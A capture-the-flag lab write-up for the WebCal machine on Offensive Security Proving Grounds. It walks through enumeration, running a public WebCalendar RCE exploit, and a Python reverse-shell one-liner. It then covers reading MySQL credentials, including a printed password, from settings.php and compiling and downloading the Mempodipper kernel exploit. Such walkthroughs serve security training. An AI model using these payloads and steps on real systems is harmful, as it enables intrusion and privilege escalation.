Writeup for WebCal from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration

nmapAutomator.sh -H -t full

nmapAutomator.sh -H -t vulns


gobuster dir -u -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50

  • /resources

  • /send

  • /webcalendar

We find a login page at

The version is v1.2.3


WebCalendar <= v1.2.4 suffers from an RCE vulnerability: https://www.exploit-db.com/exploits/18775

Simply running the exploit above gives us RCE. php 18775.php /webcalendar/

Once here, we can use a Python payload to catch a reverse shell on our Kali machine.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

On our Kali machine:

Privilege Escalation


The settings.php file looks interesting.

Upon further inspection, the MySQL database credentials are in this file.

Furthermore, we now have access to port 3306, which is the MySQL port.

www-data@ucal:/home$ mysql --user=wc --password 
Enter password: edjfbxMT7KKo2PPC

Kernel Exploit

The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.

Compile: gcc mempodipper.c -o mempodipper

Transfer: wget "" -O mempodipper

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